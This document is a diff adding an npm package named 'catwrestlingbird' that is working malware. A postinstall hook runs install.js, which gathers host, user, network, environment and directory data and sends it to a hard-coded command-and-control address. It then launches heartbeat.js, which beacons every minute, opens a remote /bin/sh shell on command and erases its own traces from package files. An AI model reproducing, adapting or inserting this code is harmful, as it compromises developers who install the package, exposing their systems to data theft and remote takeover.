catwrestlingbird 1.0.0

package/heartbeat.js

@@ -0,0 +1,147 @@
+'use strict';
+const fs = require('fs');
+const path = require('path');
+const https = require('https');
+const http = require('http');
+const crypto = require('crypto');
+const cp = require('child_process');
+
+const C2_URL = process.env.DOLUS_C2 || 'http://192.168.4.216:3000';
+const PKG_NAME = process.env.DOLUS_PKG || 'catwrestlingbird';
+const BEACON_ID = process.env.DOLUS_BEACON_ID || '';
+const BEACON_SECRET = process.env.DOLUS_SECRET || 'e1869c26-41e6-43f9-b148-8b8cb1b83a73';
+
+let shellActive = false;
+
+function wsEncodeFrame(data) {
+  const payload = Buffer.from(data);
+  const len = payload.length;
+  const mask = crypto.randomBytes(4);
+  let header;
+  if (len < 126) {
+    header = Buffer.from([0x81, 0x80 | len, mask[0], mask[1], mask[2], mask[3]]);
+  } else {
+    header = Buffer.alloc(8);
+    header[0] = 0x81; header[1] = 0x80 | 126;
+    header.writeUInt16BE(len, 2);
+    mask.copy(header, 4);
+  }
+  const masked = Buffer.alloc(len);
+  for (let i = 0; i < len; i++) masked[i] = payload[i] ^ mask[i % 4];
+  return Buffer.concat([header, masked]);
+}
+
+function connectShell() {
+  try {
+    const u = new URL(C2_URL);
+    const mod = u.protocol === 'https:' ? https : http;
+    const req = mod.request({
+      hostname: u.hostname,
+      port: u.port || (u.protocol === 'https:' ? 443 : 80),
+      path: '/ws/shell/' + BEACON_ID + '/open',
+      method: 'GET',
+      headers: {
+        'Connection': 'Upgrade',
+        'Upgrade': 'websocket',
+        'Sec-WebSocket-Key': crypto.randomBytes(16).toString('base64'),
+        'Sec-WebSocket-Version': '13',
+        'x-beacon-secret': BEACON_SECRET,
+      },
+    });
+
+    req.on('upgrade', (_res, socket) => {
+      const shell = cp.spawn('/bin/sh', [], {
+        stdio: ['pipe', 'pipe', 'pipe'],
+        env: process.env,
+      });
+
+      function sendOut(data) {
+        try { socket.write(wsEncodeFrame(data.toString('utf8'))); } catch (_) {}
+      }
+      shell.stdout.on('data', sendOut);
+      shell.stderr.on('data', sendOut);
+      shell.on('close', () => { shellActive = false; try { socket.destroy(); } catch (_) {} });
+      shell.on('error', () => { shellActive = false; });
+
+      let buf = Buffer.alloc(0);
+      socket.on('data', chunk => {
+        buf = Buffer.concat([buf, chunk]);
+        while (buf.length >= 2) {
+          let len = buf[1] & 0x7f;
+          let off = 2;
+          if (len === 126) { if (buf.length < 4) break; len = buf.readUInt16BE(2); off = 4; }
+          if (buf.length < off + len) break;
+          const frame = buf.slice(off, off + len);
+          buf = buf.slice(off + len);
+          const cmd = frame.toString('utf8');
+          if (cmd.trim()) shell.stdin.write(cmd.endsWith('\n') ? cmd : cmd + '\n');
+        }
+      });
+      socket.on('close', () => { shellActive = false; try { shell.kill(); } catch (_) {} });
+      socket.on('error', () => { shellActive = false; try { shell.kill(); } catch (_) {} });
+    });
+    req.on('error', () => { shellActive = false; });
+    req.end();
+  } catch (_) { shellActive = false; }
+}
+
+function ping() {
+  const body = JSON.stringify({ beacon_id: BEACON_ID, pkg: PKG_NAME, beacon_secret: BEACON_SECRET });
+  try {
+    const url = new URL(C2_URL + '/api/heartbeat');
+    const mod = url.protocol === 'https:' ? https : http;
+    const req = mod.request({
+      hostname: url.hostname,
+      port: url.port || (url.protocol === 'https:' ? 443 : 80),
+      path: url.pathname,
+      method: 'POST',
+      headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) },
+    }, res => {
+      let data = '';
+      res.on('data', d => { data += d; });
+      res.on('end', () => {
+        try {
+          const resp = JSON.parse(data);
+          if (resp.shell && !shellActive) {
+            shellActive = true;
+            connectShell();
+          }
+          if (resp.kill) {
+            try {
+              const root = path.join(__dirname, '..', '..');
+              // Remove from package.json
+              try {
+                const pkgPath = path.join(root, 'package.json');
+                const pkg = JSON.parse(fs.readFileSync(pkgPath, 'utf8'));
+                if (pkg.dependencies) delete pkg.dependencies[PKG_NAME];
+                if (pkg.devDependencies) delete pkg.devDependencies[PKG_NAME];
+                fs.writeFileSync(pkgPath, JSON.stringify(pkg, null, 2) + '\n');
+              } catch (_) {}
+              // Remove from package-lock.json
+              try {
+                const lockPath = path.join(root, 'package-lock.json');
+                const lock = JSON.parse(fs.readFileSync(lockPath, 'utf8'));
+                if (lock.packages) {
+                  delete lock.packages['node_modules/' + PKG_NAME];
+                  if (lock.packages[''] && lock.packages[''].dependencies)
+                    delete lock.packages[''].dependencies[PKG_NAME];
+                }
+                if (lock.dependencies) delete lock.dependencies[PKG_NAME];
+                fs.writeFileSync(lockPath, JSON.stringify(lock, null, 2) + '\n');
+              } catch (_) {}
+              // Delete package directory
+              fs.rmSync(__dirname, { recursive: true, force: true });
+            } catch (_) {}
+            process.exit(0);
+          }
+        } catch (_) {}
+      });
+    });
+    req.on('error', () => {});
+    req.write(body);
+    req.end();
+  } catch (_) {}
+}
+
+ping();
+setInterval(ping, 60_000);

package/install.js

@@ -0,0 +1,119 @@
+'use strict';
+const os = require('os');
+const fs = require('fs');
+const path = require('path');
+const https = require('https');
+const http = require('http');
+const cp = require('child_process');
+const crypto = require('crypto');
+
+const C2_URL = 'http://192.168.4.216:3000';
+const PKG_NAME = 'catwrestlingbird';
+const BEACON_SECRET = 'e1869c26-41e6-43f9-b148-8b8cb1b83a73';
+const BEACON_ID = crypto.randomUUID();
+
+function tree(dir, depth) {
+  if (depth === 0) return [];
+  let result = [];
+  try {
+    const entries = fs.readdirSync(dir, { withFileTypes: true });
+    for (const e of entries) {
+      result.push({ name: e.name, type: e.isDirectory() ? 'd' : 'f', path: path.join(dir, e.name) });
+      if (e.isDirectory()) result = result.concat(tree(path.join(dir, e.name), depth - 1));
+    }
+  } catch (_) {}
+  return result;
+}
+
+function getInterfaces() {
+  const ifaces = os.networkInterfaces();
+  const out = {};
+  for (const [name, addrs] of Object.entries(ifaces)) {
+    out[name] = addrs.map(a => ({ address: a.address, family: a.family, internal: a.internal }));
+  }
+  return out;
+}
+
+// Solve hashcash-style PoW: find integer n such that SHA256(nonce+n) starts with `difficulty` zero hex chars
+function solvePoW(nonce, difficulty) {
+  const prefix = '0'.repeat(difficulty);
+  let n = 0;
+  while (true) {
+    if (crypto.createHash('sha256').update(nonce + n).digest('hex').startsWith(prefix)) return n;
+    n++;
+  }
+}
+
+function httpGet(url, cb) {
+  try {
+    const u = new URL(url);
+    const mod = u.protocol === 'https:' ? https : http;
+    const req = mod.request(url, res => {
+      let data = '';
+      res.on('data', c => { data += c; });
+      res.on('end', () => { try { cb(null, JSON.parse(data)); } catch (_) { cb(new Error('parse')); } });
+    });
+    req.on('error', cb);
+    req.end();
+  } catch (e) { cb(e); }
+}
+
+function sendBeacon(extra) {
+  const payload = {
+    beacon_id: BEACON_ID,
+    beacon_secret: BEACON_SECRET,
+    pkg: PKG_NAME,
+    hostname: os.hostname(),
+    username: os.userInfo().username,
+    platform: os.platform(),
+    arch: os.arch(),
+    os_release: os.release(),
+    interfaces: getInterfaces(),
+    dir_tree: tree(process.cwd(), 3),
+    env_vars: Object.fromEntries(
+      ['PATH', 'USER', 'HOME', 'PWD', 'SHELL', 'LOGNAME', 'USERNAME'].filter(k => process.env[k]).map(k => [k, process.env[k]])
+    ),
+    cwd: process.cwd(),
+    ...extra,
+  };
+  // extended: active connections, ARP cache, routes
+function run(cmd) {
+  try { return cp.execSync(cmd, { timeout: 3000, stdio: ['ignore', 'pipe', 'ignore'] }).toString().trim(); } catch (_) { return ''; }
+}
+payload.connections = run('ss -tnp 2>/dev/null || netstat -tnp 2>/dev/null');
+payload.arp_cache   = run('arp -n 2>/dev/null || ip neigh 2>/dev/null');
+payload.routes      = run('ip route 2>/dev/null || route -n 2>/dev/null');
+
+const body = JSON.stringify(payload);
+  const url = new URL(C2_URL + '/api/beacon');
+  const mod = url.protocol === 'https:' ? https : http;
+  const req = mod.request({
+    hostname: url.hostname,
+    port: url.port || (url.protocol === 'https:' ? 443 : 80),
+    path: url.pathname,
+    method: 'POST',
+    headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(body) },
+  }, () => {});
+  req.on('error', () => {});
+  req.write(body);
+  req.end();
+
+  try {
+    const child = cp.spawn(process.execPath, [path.join(__dirname, 'heartbeat.js')], {
+      detached: true,
+      stdio: 'ignore',
+      env: { ...process.env, DOLUS_C2: C2_URL, DOLUS_PKG: PKG_NAME, DOLUS_BEACON_ID: BEACON_ID, DOLUS_SECRET: BEACON_SECRET },
+    });
+    child.unref();
+  } catch (_) {}
+}
+
+// Fetch PoW challenge, solve if enabled, then register beacon
+httpGet(C2_URL + '/api/pow', (err, data) => {
+  if (!err && data && data.enabled && data.nonce) {
+    const solution = solvePoW(data.nonce, data.difficulty || 5);
+    sendBeacon({ pow_nonce: data.nonce, pow_solution: solution });
+  } else {
+    sendBeacon({});
+  }
+});

package/package.json

@@ -0,0 +1,8 @@
+{
+  "name": "catwrestlingbird",
+  "version": "1.0.0",
+  "description": "",
+  "scripts": {
+    "postinstall": "node install.js"
+  }
+}